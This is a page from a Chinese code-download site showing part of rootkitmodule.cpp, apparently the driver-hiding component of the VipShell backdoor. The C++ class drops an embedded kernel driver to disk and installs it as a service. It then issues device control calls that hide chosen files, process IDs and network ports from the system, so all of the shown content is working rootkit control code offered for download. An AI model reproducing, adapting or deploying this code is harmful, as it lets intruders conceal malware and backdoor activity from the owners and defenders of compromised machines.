⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rootkitmodule.cpp

📁 VipShell驱动隐藏模块
💻 CPP
📖 第 1 页 / 共 3 页
字号:
	{
		if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
		{
			return nRet;
		}
	}

    CloseServiceHandle(schService);
    return nRet;
}

BOOL CRootKitModule::StopService(SC_HANDLE hSCManager, LPCTSTR ServiceName)
{
    SC_HANDLE      schService = NULL;
    SERVICE_STATUS ServiceStatus;
	int            nRet = 0;

    schService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS);
    if(schService == NULL)
        return FALSE;

    nRet = ControlService(schService, SERVICE_CONTROL_STOP, &ServiceStatus);
	if(!nRet)
	{
		switch(GetLastError())
		{
		case ERROR_SERVICE_NOT_ACTIVE:
			return nRet;

		case ERROR_INVALID_SERVICE_CONTROL:
			return nRet;
		}
	}
    
    CloseServiceHandle(schService);
    return nRet;
}
BOOL CRootKitModule::RemoveService(SC_HANDLE hSCManager, LPCTSTR ServiceName)
{
    SC_HANDLE schService;
    int	      nRet = 0;

    schService = OpenService(hSCManager, ServiceName, SERVICE_ALL_ACCESS);
    if(schService == NULL)
		return FALSE;

    nRet = DeleteService(schService);

    CloseServiceHandle(schService);

    return nRet;
}

HANDLE CRootKitModule::_CreateFile()
{
	return CreateFile(MY_DEVICE_NAME,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); 
}

bool CRootKitModule::DeleteDriver(LPCTSTR szDriver )
{
	if( !szDriver)
	{
		StopService(m_hSCManager, szDriver);
		return !!RemoveService(m_hSCManager, szDriver);
	}
	StopService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str()));
	return !!RemoveService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str()));
	
	
}
bool CRootKitModule::CreateDriver(LPCSTR szFileName, LPCSTR szDriver)
{

	HANDLE hFile=CreateFile(szFileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
    DWORD dwBytes;
    WriteFile(hFile,g_szRootKitModule,sizeof(g_szRootKitModule) - 1,&dwBytes,NULL);
    CloseHandle(hFile);

	m_strDriverName = ATL::CT2W(szDriver);
	StopDriver();
	RemoveService(m_hSCManager, szDriver);
	if ( !InstallService(m_hSCManager, szDriver, szFileName) )
		return false;
	return true;
}

bool CRootKitModule::StartDriver()
{
	return !!StartService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str()));
}
bool CRootKitModule::StopDriver()
{
	return !!StopService(m_hSCManager, ATL::CW2T(m_strDriverName.c_str()));
}
bool CRootKitModule::AddHideFile(LPCTSTR szFile)
{
	HANDLE hDevice = _CreateFile();
	if (hDevice==INVALID_HANDLE_VALUE) 
		return false;
	char szInBuff[256];
	strcpy(szInBuff, ATL::CT2A(szFile));
	_strupr(szInBuff);
	DWORD dwBytesReturned;
	if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_ADDHIDEFILE,szInBuff,(DWORD)strlen(szFile), szInBuff, 256, &dwBytesReturned,NULL))) 
	{
	CloseHandle(hDevice); 
	return FALSE; 
	}
	CloseHandle(hDevice); 
	return true;
}
bool CRootKitModule::DelHideFile(LPCTSTR szFile)
{
	HANDLE hDevice = _CreateFile();
	if (hDevice==INVALID_HANDLE_VALUE) 
		return false;
	char szInBuff[256];
	strcpy(szInBuff, ATL::CT2A(szFile));
	_strupr(szInBuff);
	DWORD dwBytesReturned;
	if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_DELHIDEFILE,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) 
	{
	CloseHandle(hDevice); 
	return FALSE; 
	}
	CloseHandle(hDevice); 
	return true;
}
bool CRootKitModule::StartHideFile()
{
	HANDLE hDevice = _CreateFile();
	if (hDevice==INVALID_HANDLE_VALUE) 
		return false;
	char szInBuff[256] = "";
	DWORD dwBytesReturned;
	if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_STARTHIDEFILE,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) 
	{
	CloseHandle(hDevice); 
	return FALSE; 
	}
	CloseHandle(hDevice); 
	return true;
}

bool CRootKitModule::AddHideProcessId(DWORD dwId)
{
	HANDLE hDevice = _CreateFile();
	if (hDevice==INVALID_HANDLE_VALUE) 
		return false;
	char szInBuff[256] = "";
	memcpy(szInBuff, &dwId, sizeof(DWORD));
	DWORD dwBytesReturned;
	if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_ADDHIDEPROCESS,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) 
	{
	CloseHandle(hDevice); 
	return FALSE; 
	}
	CloseHandle(hDevice); 
	return true;
}
bool CRootKitModule::DelHideProcessId(DWORD dwId)
{
	HANDLE hDevice = _CreateFile();
	if (hDevice==INVALID_HANDLE_VALUE) 
		return false;
	char szInBuff[256] = "";
	memcpy(szInBuff, &dwId, sizeof(DWORD));
	DWORD dwBytesReturned;
	if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_DELHIDEPROCESS,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) 
	{
	CloseHandle(hDevice); 
	return FALSE; 
	}
	CloseHandle(hDevice); 
	return true;
}
bool CRootKitModule::StartHideProcess()
{
	HANDLE hDevice = _CreateFile();
	if (hDevice==INVALID_HANDLE_VALUE) 
		return false;
	char szInBuff[256] = "";
	DWORD dwBytesReturned;
	if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_STARTHIDEPROCESS,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) 
	{
	CloseHandle(hDevice); 
	return FALSE; 
	}
	CloseHandle(hDevice); 
	return true;
}


bool CRootKitModule::AddHidePort(DWORD dwPort)
{
	HANDLE hDevice = _CreateFile();
	if (hDevice==INVALID_HANDLE_VALUE) 
		return false;
	char szInBuff[256] = "";
	memcpy(szInBuff, &dwPort, sizeof(DWORD));
	DWORD dwBytesReturned;
	if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_ADDHIDEPORT,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) 
	{
	CloseHandle(hDevice); 
	return FALSE; 
	}
	CloseHandle(hDevice); 
	return true;
}
bool CRootKitModule::DelHidePort(DWORD dwPort)
{
	HANDLE hDevice = _CreateFile();
	if (hDevice==INVALID_HANDLE_VALUE) 
		return false;
	char szInBuff[256] = "";
	memcpy(szInBuff, &dwPort, sizeof(DWORD));
	DWORD dwBytesReturned;
	if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_DELHIDEPORT,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) 
	{
	CloseHandle(hDevice); 
	return FALSE; 
	}
	CloseHandle(hDevice); 
	return true;
}
bool CRootKitModule::StartHidePort()
{
	HANDLE hDevice = _CreateFile();
	if (hDevice==INVALID_HANDLE_VALUE) 
		return false;
	char szInBuff[256] = "";
	DWORD dwBytesReturned;
	if (!(DeviceIoControl(hDevice,ZFJ_ROOTKIT_STARTHIDEPORT,szInBuff,(DWORD)strlen(szInBuff), szInBuff, 256, &dwBytesReturned,NULL))) 
	{
	CloseHandle(hDevice); 
	return FALSE; 
	}
	CloseHandle(hDevice); 
	return true;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -